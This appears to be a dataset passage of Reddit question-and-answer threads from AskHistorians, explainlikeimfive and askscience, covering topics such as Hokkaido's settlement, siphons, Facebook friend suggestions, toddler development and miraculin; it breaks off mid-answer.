{"q_id": "20gegy", "title": "Why was Hokkaido not settled by the Japanese until relatively recently?", "selftext": "My understanding is that the island of Honshu has been the center of Japanese civilization since ancient times. Hokkaido is just across the Tsugaru strait to the north, but it was inhabited almost exclusively by the Ainu until the modern era. Why did they not colonize it earlier? Was it too cold, or were the natives too hostile?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/20gegy/why_was_hokkaido_not_settled_by_the_japanese/", "answers": {"a_id": ["cg31s7e", "cg32m4m", "cg35440", "cg35ec4"], "score": [120, 43, 53, 10], "text": ["I don't think it was because of native resistance. While there were border disputes during Taira Masakado's time in the 10th century with the Japanese pushing northward, it wasn't native resistance. The Japanese held an absolute extermination policy towards the Ainu, and Ainu populations were barely existent by that time. Resistance from Japanese expansion northward came from other groups that I'm not informed of. Another reason would be the climate and geography of Hokkaido. With only about 25% of Japan consisting of arable land, much of this land is in Honshu. Only recently (in historical terms) has Hokkaido seen intensive agriculture with newer technology. Hokkaido simply has a climate that wasn't ideal for growing food up until the modern era. Hokkaido is also extremely mountainous, another reason the Japanese had not bothered to settle there until much later in their history. Japan Emerging, edited by Karl Friday is a good, recent work from many contributing Japanese scholars on Japanese history up until the Meiji Restorations. If you're interested in more, that would be a great place to start. ", "Jumping in for a tangenital question.\n\nWhat makes the Ainu aboriginals, but not the Japanese? As far as I am aware, the Japanese have been on their islands for a very, very long time. Shouldn't they be considered \"natives\" by now? This thought corsses my mind every time I hear of aboriginal groups in places that I already associate with a deeply historically rooted population, like the aboriginals in northern Scandinavia. ", "Your question is actually much more complicated than it first appears.  Essentially Japanese agriculture was based in labor intensive rice cultivation best suited to honshu, kyushu, and shikoku.  Rice was used to pay taxes and was measured in [koku](_URL_1_).  In the Tokagawa period Hokkaido was given to a Japanese daimyo who traded extensively with local Ainu for seal furs and other commodities.  See Brett Walker's book [Conquest of Ainu Lands] (_URL_0_) Ainu changed from a hunter gather society to one based on trade with the Japanese for essential goods like rice, sake, and cooking pots. Japan was rarely an \"Empire\" in the European sense.  The Tokagawa was a warlord society with many daimyo controlled individual areas under the shogun, but \"colonization\" in your sense of the word refers to later Imperialistic developments of the Meiji Era such as Taiwan, Korea, and evenually Manchuria.", "That is actually a pretty good question, and, I want to admit right from the beginning, I cannot provide an answer. But what I find noteworthy is that the colonization of Hokkaido/Ezo-chi was suggested several times from at least the early 18th century on. \n\nRussian ships were appearing on the shores of the Kuriles and Ezo at that time, and these news were alarming to Shogunate officials. We have record of Kud\u014d Heisuke (1734-1800) of Sendai [*han*](_URL_0_) requesting the Shogunate to colonize Ezo to develop the island's \"vast mineral resources\". Military strategist [Hayashi Shihei](_URL_3_) (1738-1793) was well aware of the Russian advances as well, and suggested that Japan be prepared in case of an actual attack. And then there is [Honda Toshiaki's](_URL_1_) (1744-1821) quite strange proposition of the Shogunate transferring its seat of power to Kamtchatka in order to achieve world domination.\n\nAfter [Adam Laxman's](_URL_2_) expedition to Japan in 1792, who wanted to get access to Japanese goods for trade, the Shogunate got increasingly interested in such ideas. It had Ezo surveyed and maps crafted, and took over the Matsumae domain /u/kenjutsudude spoke of in 1802. Several incidents occured during the following years, but then Napoleon drew the Russians' focus of attention away from Japan.\n\nThis was just a quick sketch - I only have John Whitney Hall's \"Japan. From Prehistory to Modern Times\" right here, and it's quite old, but nevertheless an incredibly important book, and I'd still recommend it to anyone interested in the history of Japan.\n\nEDIT: Formatting, forgot a few words."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.ucpress.edu/book.php?isbn=9780520248342", "http://en.wikipedia.org/wiki/Koku"], ["http://en.wikipedia.org/wiki/Han_system", "http://en.wikipedia.org/wiki/Honda_Toshiaki", "http://en.wikipedia.org/wiki/Adam_Laxman", "http://en.wikipedia.org/wiki/Hayashi_Shihei"]]}
{"q_id": "1eko7q", "title": "quantum zeno effect and how it relates to zeno's paradoxes.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1eko7q/eli5_quantum_zeno_effect_and_how_it_relates_to/", "answers": {"a_id": ["ca16k12"], "score": [45], "text": ["I'll try with a toy example and cover the important points in quantum mechanics. Take out pen and paper. :)\n Draw a coordinate system and a unit circle of radius one with center in (0,0). This is the *quantum system*. Now consider a vector pointing from (0,0) to some point on the unit circle. This is the *state* of the quantum system. Also known as the *state vector*. Such a vector is *always* of length one.\n\nAt any point you can tell the state vector to \"collapse \" to either the x axis or the y axis. You can't choose which one, it will do this randomly. The bigger the projection is on the corresponding axis, the more likely it is the state vector will collapse to that axis. This is called a *measurement*.\n\nSometimes the state of a system can be *time dependent*. It changes over time. In our case that means the vector will rotate around the unit circle according to some rule. \n\nNow, the Zeno effect! lets say you start out with a state vector in  (1,0), that is at one on the x axis and zero on the y. After a tiny fraction of a second you tell it to collapse to the x or y axis. But the vector is so close to the x axis it's almost certain to collapse to it. Then after another fraction of a second you ask it again. And again and again. The vector never gets a chance to get close enough to y axis to ever have any real chance of collapsing to it. That's the Zeno effect. *You keep measuring a quantum system over and over again and thereby forcing it to remain in the same state forever.*\n\nEdit: Clarified a few things."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "402y34", "title": "i recently started texting this girl who i met off a dating app. today i see her at the top of \"people you may know\" tab in facebook. we have *zero* mutual friends. so how the hell did that happen?!", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/402y34/eli5_i_recently_started_texting_this_girl_who_i/", "answers": {"a_id": ["cyr14il", "cyr15v0", "cyr1eo4", "cyr1f7f", "cyr1pmz", "cyr1yng", "cyr24qt", "cyr6e2y", "cyr8y4d", "cyrb7ho", "cyrcbob", "cyrd1wp", "cyrdmb3", "cyrdtxy", "cyrfro4", "cyrhgq2", "cyrhhrl", "cyrhyq2", "cyrjfu8"], "score": [12, 2, 6, 21, 2, 419, 56, 35, 2, 4, 5, 4, 3, 2, 4, 3, 2, 2, 2], "text": ["Is your dating app linked to your facebook profile like Tinder or such?  If so it is likely that the interactions between both of your facebook linked profiles are visible and brought over.  If not your data is being scraped somewhere.", "Pretty sure it does. I often see a recommendation to allow it to do so when using the app on my phone, usually if someone pokes me and I try to open FB from the notification slider outside of the app.\n \nI always say no. I guess this is why. It is possible that another app you are using already prompted you to allow FB to do so, and there it is.", "Does she know your name or phone number? Is your phone number linked to your facebook? If someone looks at your profile, they will show up.", "There have been many noted instantces of Facebook ads popping up based only on conversations people have had near their phones. I have personally had this happen to me. Its uber creepy _URL_0_ has permission to access quite a lot of your phones hardware. So I wouldn't be surprised if they've figured out how to find someone you have been texting, especially if you consider most of our FBs are linked to our phones\n\nEdit: and yes you have given them permission to look through your contacts. Uninstall the app and reinstall it to see the list of things it asks permission to access, it's ridiculous", "Did you use the same e-mail to sign up for Facebook and the app or ever checkout her timeline? If so, that's your connection.", "The Facebook app has permission to read your text messages _URL_0_ in addition to your contacts - if she has her number attached to hers there you go. Not to mention all sorts of potential other ways.\n\nIf you have privacy concerns you probably shouldn't have a smartphone\n\nEdit: didn't realise Facebook disappeared off the top of my screenshot but you should see the full list!", "she probably checked out your profile. Then she would show up the the \"people you may know\" file\n", "When you installed Facebook, you gave the app permissions to access your phones contact list. Facebook looked up the number of the chick, suggested a friend.\nBANG, mystery solved.", "This happened to me for someone I had no other contact other than an email account. In my opinion I think she checked out your account and that placed her on your list\n\n", "If you have an Android phone, go to Settings  >  App Manager  >  Facebook App  >  scroll down and look at all the \"Permissions\" its set to. \"This app can access the following on your phone\" and this was my favorite, \"Your Personal Information - add or modify calendar events and send email to guests without owners knowledge, read calendar events plus confidential information, read your own contact card.\" Now, I am sure this has to do with the app and adding Facebook events but not sure the need to \"send email to guests without owners knowledge\", seems kinds sketchy.", "It is pretty simple. She searched for you on Facebook. That's enough for FB to offer her as a potential contact to you.", "The loss of privacy is an essential part of the transition into the Hive. Fear not, for soon there will be no you and me, only the Swarm.", "It's pretty scary how vulnerable information is nowadays, especially when stuff like this is hidden deep within terms and conditions that most people never bother reading.", "You guys know that Facebook has a camera and voice recorder function, right? \n\nNO FUCKING SHIT IT CAN ACCESS YOUR CAMERA AND MICROPHONE. All caps makes me hsppy.", "iOS Developer here. It's definitely your Facebook app permissions. We do this all the time. The idea is, if you give us your contact info and contacts, and she gives us her contact info, we can see that you know here. We do this with honest intentions. As in: oh you have this phone number in your phone and that phone number belongs to this person, maybe you are friends. More often than not this is true, but I see how it is creepy in this scenario (and i've had it happen to me in this scenario before too). But also consider that 99% of the time your contacts are your friends and it works out. ", "I'm not very good at writing code, but would it be possible to write a piece of software that runs in the background and purposefully does things to confuse Facebook and other companies that rely on collecting our data for marketing revenue? Like maybe it could send random google searches(and other random things) out a hundred times a minute, and the users actual searches would get lost in the mountain of data, making it impossible for Facebook to make a useful picture of the users browsing habits. Or maybe it could do some trickery to misrepresent an actual contact list, so that Facebook thinks it has permission to see our \"contacts\" but doesn't actually see anything useful, or sees a fake list of contacts compared to what's actually on the phone. \n\nDoes that exist? If not, is it viable? ", "Well do you have this girl's phone number or email on your phone? Facebook and particularly Messenger ransack your phone for data. She probably has her number or email registered on fb, so they can tell you've been contacting her.", "If you're running Android, check out Tinfoil. It's a Facebook app that's really just their mobile site wrapped in its own browser.", "I would go to a friends house parties a lot on the weekends.  After the first 3 or 4 parties I would see people from the parties listed on \"people I may know.\" I don't have their number nor did I know some of their full names. My best guess is Facebook saw that we were in the same area together multiple times and assumed I knew them. Now we are Facebook friends. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["honestly.It"], [], ["http://imgur.com/Fxyjaxu"], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "av8r95", "title": "if sihpons can move water upwards with zero external power, why are pumps used almost exclusively instead?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/av8r95/eli5_if_sihpons_can_move_water_upwards_with_zero/", "answers": {"a_id": ["ehdet3q", "ehdf95f", "ehdk7w6"], "score": [8, 8, 3], "text": ["siphons don't move water up.  they provide a path for 50miles high column of air to push water thru a pipe that happens to go up for a little bit, then goes down lower.     \n\n\nsiphons work on air pressure.  the difference in air pressure between the inlet and the outlet of the siphon   ", "Because siphons only work if the source of the water is higher than the destination. The pipe/tube in between can have portions where the water is flowing upwards (against the force of gravity), but the end of the pipe has to be lower than the source end. If you need to move water upwards and have it stay there, you have to put in energy to overcome gravity, i.e. a pump.", " > If sihpons can move water upwards with zero external power \n\nThey can't. Siphons can only work where the water ends up lower than it was, because they work on gravity. There might be sections that go upwards, but the overall result from source to destination is that the water gets lower. That has to be the case for a siphon to work. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "5sqj74", "title": "what is actually going on when you are \"in the zone\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5sqj74/eli5_what_is_actually_going_on_when_you_are_in/", "answers": {"a_id": ["ddh4e6h", "ddhao39", "ddhdpe4"], "score": [10, 13, 3], "text": ["It is a state of consciousness, \"flow thinking\" is a cool thing and you can train yourself to be better at it.  Edit: A continuous flow of uninterrupted intensely focused thought. Just pure focus really. ", "* Chemical (adrenaline) and targeted brain focus to control adrenaline for release as required. \n* Physical exercise can stimulate and activate the 'zone' as required.\n* Breathing and heart beat are more intense and I feel a 'heavy syrupy flow/energy' permeate my inner body.\n* Source: Current Official Guinness World Record holder in strength/fitness events.", "I don't know the scientific sources behind this but this guy explained in his TedTalk that rythmic breathing has a lot to do with focus and the \"zone\"\n\nHere's the [link](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.youtube.com/watch?v=Q_fFattg8N0"]]}
{"q_id": "69dlx4", "title": "what is the use of a birth certificate?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/69dlx4/eli5_what_is_the_use_of_a_birth_certificate/", "answers": {"a_id": ["dh5qw9y", "dh620jt"], "score": [40, 5], "text": ["It proves you were born here and are a citizen.   Without one, and without a record of one, they could try and deport you as an illegal immigrant. \n\nIt also, you know, proves your age. For age-related things like getting into public school and getting a drivers license. ", "To sign your kids up to play soccer.  They are freakishly serious about this.  A copy will not do!!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4wtop3", "title": "what is happening within a childs development during the 'terrible twos' stage?", "selftext": "My nephew has recently turned 1 and is possibly one of the best behaved babies I have ever seen. He always seems to be smiling and laughing, hardly ever cries, and generally just complete chill 24/7. \n\nMy mum made a comment the other day saying that he's probably going to be a nightmare during his '\"terrible twos\". It is often said that when a child turns the age of 2 they start 'acting up'; tantrums/crying, hitting etc.\n\nWhat is actually going on in terms of child development that causes many young children to act this way?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4wtop3/eli5_what_is_happening_within_a_childs/", "answers": {"a_id": ["d69vsc4", "d69vt9g", "d69wv29", "d6a121b", "d6a6xxm"], "score": [22, 68, 26, 2, 4], "text": ["If I remember correctly from the psychology class I took, it's a time of mental development in which children begin to understand that they can influence the environment around them but don't understand why not everything can go their way, nonetheless understand that other people have their own viewpoint.\n\nParents will often say \"how would you like it if somebody ... to you\" to try and solve the problem.  At this stage of development however (from my understanding) it has little impact because they cannot yet imagine a different viewpoint and still think theirs is the only one that matters.\n\nI would be interested in seeing a more informed response though, so somebody tell me when there is one.", "The child's brain has now developed enough to attempt independent decisions and choices. However, to practice this, the child must disagree with adults (parents etc.) and assert some different opinion. Because the skill is very primitive and new, the child has very poor judgement about when to disagree and when to agree. Also, because the child's mental and physical skills are still developing, failure is extremely common, leading to frequent frustration and anger.", "As the other posters have mentioned, there are a lot of reasons why we think of toddlers as being terrible (in their twos, threes, and sometimes fours). I think there are several key factors in play:\n\n1) Communication: Kids this age are still learning how to communicate, and in many cases aren't verbal even at 24 months. I've met several children who are not developmentally delayed, but who are less verbal than others. This is really frustrating for some children, because they can't let their parents, other children, or other adults know what they want or need. For example, if your kid has a toothache (teething!) but can't tell you, he might be grumpy all day, not be able to nap because he's hurting, and not be able to tell you any of that. A lot of folks have started teaching their kids to sign (it works) to make up for limited vocabulary early in life, but this is also just a hurdle that you'll get over with time as your child learns to communicate and be communicated with more effectively.\n\n2) Temperament. Temperament is essentially your innate personality, present from birth. Some developmental scientists use a theory that describes three different types of temperament (difficult, easy, slow to warm up), which depend on eight different characteristics. Frankly, some kids are just straight-up more easy-going than others, no matter how you dice it. This easy-goingness can depend on how rhythmic their biological clocks are (are they consistent in the time of day that they sleep, poop, get hungry, etc.), their activity level (some kids are human tornados, others are the human equivalent of a snorlax), their sensitivity to sensation (some babies are weird about scratchy fabrics, loud noises, etc.), and a lot of other characteristics that I won't discuss for the sake of brevity. Check this page out for more info: _URL_0_ \n\n3) Goodness-of-fit. This describes how well a child's temperament fits with her parent's temperament(s). If you have a super difficult child and a really easy going parent, everything will probably be pretty copacetic because the easy parent can flex to the child's needs when they're being a little more fussy. If you have a super easy child with a slow-to-warm up parent, you might have a little trouble with a parent who doesn't relate to the child's outgoing nature. There are endless combinations because some characteristics can make a kid seem easy, and others make them seem difficult (e.g. a kid who sleeps like clockwork, but hates loud noises), so goodness-of-fit becomes more of an issue of the parent knowing their own strengths/limitations, and when necessary showing the child how to be flexible.  I think this is a cool/helpful/comforting concept, because it says that a difficult child/terrible 2s are no one's \"fault,\" but are rather about the match between a child and a parent's personality. A difficult child is not the kiss of death, but neither is an easy child a bump-free developmental trajectory. \n\n4) Growth. This is a ROUGH stage for cognitive, physical, and emotional growth. \n\na) I can't comment too much on the cognitive growth, but from what I understand children are undergoing a massive amount of brain development at this point, making their skills pretty variable from kid to kid. Each kid will be different. Some kids are going to know colors, animal sounds, etc. Some kids won't. I don't think this contributes to terrible-twos problems, but it might in some way that I'm not thinking of. \n\nb) Physical growth is happening pretty quickly right now and will ramp up as s/he hits 3-4 years. Growing pains are a real thing. If you see that your child has achy knees or joints, or is walking gingerly, take them to see your doc. S/he might be growing really quickly and experiencing growing pains. Toothaches from teething are something most parents know about so I'm not going to go too far into that right now. On top of that, the child should be transitioned or transitioning to an omnivorous adult diet at this point. That might be causing some problems with digestion, so watch the poop patterns. If your kid is going more/less often than usual, or if their stooling is too compacted or too loose, think about if you've introduced a new food recently. They may be reacting behaviorally to an upset stomach and/or allergies. Some kids will also hold in poop because they're not a fan of potty training, so you might also have trouble with constipation causing some grumpiness/stubbornness. This just highlights how important it is to NOT potty train until your child shows interest or until your doc says its time (some kids will stay in diapers as long as they can, so thats a different issue). \n\nc) Finally, emotion self-regulation is JUST starting to emerge at this age, and so kids are still trying to figure out how best to deal with the ups and downs that we've all learned to cope with. Some kids will self-soothe (thumb sucking, rocking, etc.), but others will have to tantrum for a bit until they learn the most appropriate strategy. The best thing to do to help kids regulate their emotions is to model appropriate strategies yourself, talk about emotions in a matter-of-fact and kind way, and to respond in an age-appropriate and timely manner when your child experiences legitimate discomfort and/or upset. \n\nThere are more, but for the sake of space, I'll cap it here. \n\nTLDR: All in all, not all 2s are terrible. It really does depend on each kid individually. That said, this developmental period is full of change--physically, emotionally, cognitively--which makes it difficult for kids to adjust to in order to achieve a state of stability. \n\nSource: Scientific literature. I'm getting my PhD in child development and I specifically focus on 2 year olds' nutrition and self-regulation. \n\nEdit: Realized I talked about poop to much to not explain. Gut-brain axis theory suggests that our diet informs neural development and possibly vice versa. ", "So... what does 'not' experiencing the terrible twos indicate?", "A newborn or very young baby has no \"wants\", only a small number of simple \"needs\" that are guided by instinct: food, warmth, cleanliness, sleep and attention. Any of them not being met is seriously dangerous, so instinct provides the baby also with a simple way to communicate that one of those needs is not met: crying with all the strength it has. This makes sense because  meeting them is (barring disastrous circumstances) always appropriate and possible for the surrounding adults.\n\nThen by the age of around 2, the baby is becoming a person with the ability to explore and change the world around it, so it can and does have \"wants\". But its understanding of the complexity and dangers of the world is very incomplete, so many of its new \"wants\" cannot be met because they are harmful, dangerous or outright impossible. On the other hand, the previous \"needs\" are still there and valid.\n\nUnfortunately, the instincts that say \"everything you want is vital and you need to cry as hard as you can to make sure you get it\" are still there, and are still at first applied to everything. The baby now has some quite difficult things to learn:\n\n* there is a difference between \"wants\" and \"needs\"\n* \"wants\" cannot always be met\n* some of them can be negotiated, but that can be arbitrarily difficult (heck, a lot of adults still have problems with that!)\n* \"crying hard\", the thing that nearly always worked before, is rapidly becoming useless or even detriminal."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://childdevelopmentinfo.com/child-development/temperament_and_your_child/temp2/"], [], []]}
{"q_id": "bbdquh", "title": "Why did no foreign nation during the Age of Discovery just copy Western ship design?", "selftext": "Hello everybody, I am just reading about Japan during the Meiji time. For some reason the Japanese have been able to catch up pretty quickly to the West. Something similar had happened earlier when Western flintlock weapons were copied and improved on during the Warring states period.\n\n & #x200B;\n\nIf I am not mistaken the main technological advantage of the West during the time of Columbus and the East Indian companies as compared to India, the Arabs, China, Japan, and other mighty civilizations in Africa or Asia was navigation and ship design. Because in all other matters non-European nations were a good match as well.  Just thinking about the Turks sieging Vienna.\n\n & #x200B;\n\nSo I am just wondering. Why was there no foreign nation trying and succeeding to kidnap Western navigators and shipbuilders to challenge Western fleets? Or go to Europe to trade goods themselves?\n\nSo why was that never tried?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bbdquh/why_did_no_foreign_nation_during_the_age_of/", "answers": {"a_id": ["ekkrwt9"], "score": [4], "text": ["Japan did at least. A few galleon-style ships were built in the early Edo. At the same time many \"Red seal\" ships were built, though (probably) oriental in style they were comparable in size to normal galleons (though not to the largest of European warships), which were used to trade with South East Asia. These ended in the 1630s with the passing of laws prohibiting Japanese people from heading abroad except for official diplomats.\n\nThe thing is that, for Japan at least, there was no political will or any necessity to challenge western fleets. Copying technology is (relatively) easy. But why go through that trouble for no return. The unified Bakufu has no need for a strong navy as the Europeans weren't in a position, both technologically and logistically, to invade Japan. Internal stability, that is demobilisation and settling into ruling the country, was a much high priority for the Edo bakufu than going on naval adventures. It wasn't that Japan didn't copy Western technology, naval included. It was that Japan didn't see a need to keep doing it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "a0p9o8", "title": "how do those websites where you take surveys to earn money work? why do they pay you for answering questions and how legit is it? cause i\u2019m seriously considering it to earn some on the side and don\u2019t wanna get into anything dodgy", "selftext": "Edit: Sorry if this isn\u2019t the appropriate sub to be asking but I just want it explained to my simply :)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a0p9o8/eli5_how_do_those_websites_where_you_take_surveys/", "answers": {"a_id": ["eaje93r", "eajecm6", "eajfae8", "eajiw3w", "eajotmx", "eajujkz", "eajz5bw"], "score": [22, 2, 6, 6, 5, 3, 2], "text": ["Whether they are legit depends on the site in question, but the concept in and of itself is legit.\n\nAnd the reason why they would pay you for answering questions is because they get paid (by companies / organisations / anyone that needs insight into the market and the thoughts of customers) to get a certain number of responses from certain types of people. As long as they pay you less money than they are getting from the companies, they are still coming out ahead.\n\nAnd companies pay for these sort of surveys because this is how they find out what customers want / what they think about your brand / whether a certain commercial had an impact etc. ", "Depends on the site, some of them actually do pay money.\n\nMost of them don't pay particularly good money; you'll get like $1 for a 30 minute survey, which is less than minimum wage for a waiter job (but also much less taxing on the feet).\n\nThe legit ones are usually doing surveys that are being given to them by big corporations who pay them a flat fee (say $2,000) to get 500 responses, so they look at their database of people who are signed up and send out like 700 invites for the survey, with links that expire after a certain amount of time (~24-48 hours when I was doing it from the time the e-mail sent to when the link expired and they sent out more invites if they didn't get enough responses), and if you do the survey you get $1 added to your account and they pay out after either X amount of time or on a certain day if you have made Y dollars, that sort of thing.\n\nBasically, the big company gets direct marketing data (most of the surveys I remember were from taco bell asking about promotional ideas and how likely you would be to buy them, and at the time I visited taco bell a lot, and seeing things on the menu a month later they were asking me about was interesting), the company offering the survey gets cheap labor, and the people doing the surveys get some extra pocket change.", "I don't think they are worth the effort. Pretty much all of the sites require you to \"qualify\" for the survey. So you might have to answer a few questions to find out you don't qualify and you don't get paid for it. It's rare but sometimes you can spend over five minutes to not qualify. \n\nHowever I hear the ones that sign you up for a study are worth it. Those are the ones where you have to show up to a site and test out something. Or some send you products to try. But I hear you have to wait to find one that you qualify for.", "While I was in high school I signed up for a certain site. I gave my opinion of a new label design and packaging for a drink in the US. I have tried soups, pizzas, soft drinks, and shampoo. The company I completed surveys for would send me a product. If it was food, it would usually be two of the same product with something done different for one of them. I would try the first product. Go to a website and give my opinion. They the other product the next day and give my opinion on the second product. If you are in high school or even older and have a LOT of free time on your hands, the survey route is something to consider. It\u2019s not for everyone though. I probably started 1,000 surveys and was paid for probably 700 of them. Helped pay my way to Disney World.", "All the responses here seem on point.  For what it's worth, I tried Swagbucks for a few months, and here's my experience:\n\n1) I second the experience of sometimes not qualifying for a survey and it wasn't the sort of thing like I wasted 15 seconds, It was often several minutes per disqualification.  And it was often multiple times daily where I just ran out of surveys for which I was a candidate.\n\n2) It ate up a ton of data on my phone.\n\n3) I think I brought in an average of about 10 bucks a month.  15, tops.\n\n4) It gave me a way to pass the time at a really boring job.  But eventually I drifted towards spending as much of my work day job searching as I could get away with.  \n\nBest of luck!", "My wife did these while she was on mat leave. She would get an amazon gift card for 10 bucks every few days so it's not exactly a reliable revenue stream.\n\nShe advises sticking to the sites that qualify you for the survey before you take it. Lots of the shady ones will have you take it and then tell you that you're not qualified and not pay you for it.\n\nAlso be prepared to receive a lot of spam, junk mail and random samples sent to your address. Many also won't let you use a PO Box so be aware you're putting yourself on the map for every marketing company in North America. Your information will be sold because that's the whole point. \n\nAs a dude that prefers to stay relatively anonymous it's hell. Would not recommend. ", "I've not found them to be worth it, after trying many, many sites. I'd often get 5-10 minutes into preliminary questions before I got disqualified. I did so, so many surveys and got a few dollars a week when I was lucky. You also typically get less return if you choose to cash out rather than getting a gift card. And frankly, they're so, so, *so* boring.\n\nI'd suggest looking into _URL_0_ for some transcription work, but you might have to be 18. Not sure."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["Rev.com"]]}
{"q_id": "5xh46o", "title": "Would a being living in a hyperbolic space be able to tell that its space was a hyperbolic shape?", "selftext": "Also, if our hyperbolic being was a 18th century timid mathematician, would he be able to conceptualize euclidean geometry and see it as complex as hyperbolic is to us?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5xh46o/would_a_being_living_in_a_hyperbolic_space_be/", "answers": {"a_id": ["deiau4q", "deil2ys"], "score": [24, 9], "text": ["In hyperbolic space, curvature is negative. If the curvature is negative enough, the being would notice it, in several ways:\n\n* If two people start out walking next to each other in parallel, and both keep walking straight ahead, then they will move away from each other, their paths will diverge. The amount of divergence is a measure for the curvature. (Note that on Earth's surface, which has positive curvature, the opposite happens: the paths will converge.)\n\n* If you form a triangle from three straight lines, then the sum of the angles will be smaller than 180 degrees. The difference between the angle sum and 180 degrees is a measure for the curvature. (Again, triangles on Earth's surface have a degree sum bigger than 180 degrees.)\n\n* The area of a circle of radius *r* will be larger than *r*^(2) \u03c0. (On Earth's surface, it's smaller.)\n\n* The volume of a sphere of radius *r* will be larger than 4/3 \u03c0 *r*^(3).\n\nThe mathematician would still have discovered Euclidean geometry (just like the ancient geometers concerned with Earth's surface discovered it) since in every space, no matter the curvature, Euclidean geometry governs the smallest scales. Tiny triangles always have an angle sum of about 180 degrees, tiny circles always have an area of about *r*^(2) \u03c0, etc.", "Not sure if this is sufficiently on topic, but there is a roguelike game where they player moves around in a strongly curved hyperbolic geometry. It's called [HyperRogue](_URL_0_), and provides a hands-on demonstration that hyperbolic geometry is very noticeable. Hyperbolic geometry means that the amount of stuff that is a certain distance away from you is much bigger than you're used to. It also means that it's very difficult to find your way back to where you started, even if you haven't gone that far away from it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.youtube.com/watch?v=ae_3Kdu4ass"]]}
{"q_id": "acg298", "title": "how does language work? how do you understand what other people are saying?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/acg298/eli5_how_does_language_work_how_do_you_understand/", "answers": {"a_id": ["ed7uodh"], "score": [3], "text": ["We understand what people say because we have learned to understand it.\n\nIf I hear a language I can't understand at all it's just jibberish to me, just as my language sounds like jibberish to someone who doesn't know how it's built up.\n\nLanguage works in the way that we have a fixed sound for something as well as a limited sound alphabet, and then a couple of grammatical rules on how to use the sounds to describe things around us. The rules is what makes it a working language, that despite you have two people who have never met you have both learned the same rules and often same sounds.\n\nIt's not the only things we learn to understand, if I cry you know I am sad, if I point at something you know that I want you to see something, If I wave my hand in a certain motion you know I want you to come closer and so on. It's a language by itself. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3kfiv5", "title": "why can't the chinese government stop hit-to-kill drivers?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3kfiv5/eli5_why_cant_the_chinese_government_stop/", "answers": {"a_id": ["cux17no", "cux2ifs"], "score": [3, 2], "text": ["You only have to bury a person once. If you injure someone you are basically on the hook for them for the rest of their lives. I would be curious if anyone knows exactly what the compensation laws are in China. For example what if I crushed your dominant hand and you were a painter or craftsman? are you going to pay me for the lifetime of income Ive lost?\n\nBurden of proof is also a contributing factor, you have to prove they intended to kill that person vs making an honest mistake. ", "Because the Chinese way of thinking is to think for the public and not the person. It's horrific if you're that person but individualistic value holds smaller regard than the mass, and that's all they care about. If a guilty person is executed, that's fine because the public is now cleaner and healthier. They work on the agenda that because the mass population is having a better life than before, the individuals who are oppressed don't matter because population isn't really a problem. \n\nAn injured driver could easily become a non-income generating mouth to feed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "xmq4c", "title": "How do the \"Miracle Berry\" tablets work?", "selftext": "I've seen these Miracle Berry tablets that claim to turn sour things sweet, and on the [thinkgeek website](_URL_0_) they claim \"The truth is, science doesn't completely know (it has something to do with the protein miraculin that bonds to your taste buds, but the exact cause is still a mystery). But the berries work, and it's a miracle.\"\n\nI don't believe them. How do they work?\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/xmq4c/how_do_the_miracle_berry_tablets_work/", "answers": {"a_id": ["c5ntbfz"], "score": [26], "text": [" > **Miraculin is able to elicit sweetness from various acids**, such as HCl, oxalic acid, lactic acid, formic acid, acetic acid and citric acid; the sweetening effect is **dependent on the sourness and the pH of the acid** (Kurihara and Beidler 1969). The sweetening effect of a miraculin solution reaches its **maximum level after being held in the mouth for approximately 3 min** (Kurihara and Beidler 1969). A **concentration greater than 4 \u00d7 10\u22127 M is required for maximum effect, and the sweetness corresponds to 0.4 M sucrose solution**. The taste-modifying effect of miraculin can be **sustained for more than 1 h**, although it depends on the concentration of the miraculin solution. \n\n > Kurihara and Beidler (1969) suggested that the **miraculin protein has two binding sites: one binds the taste-receptor membrane, and the other reacts with sweetness receptors**; the conformation of the protein changes under acidic conditions to induce sweetness. This speculation comes from results that show that the thresholds for salty, bitter, sweet and sour tastes remain unaffected after holding miraculin in the mouth. Furthermore, holding miraculin on the tongue does not turn sourness into sweetness when gymnemic acid, which depresses sweetness, is held in the mouth after applying the miraculin solution. **Thus, miraculin binds to membrane receptors close to sweetness receptor sites and activates sweet receptors under acid conditions.** Some studies have revealed that miraculin does not possess taste-modifying properties as a monomer (Ito et al. 2007; Matsuyama et al. 2009). Additionally, mutagenesis and simulation 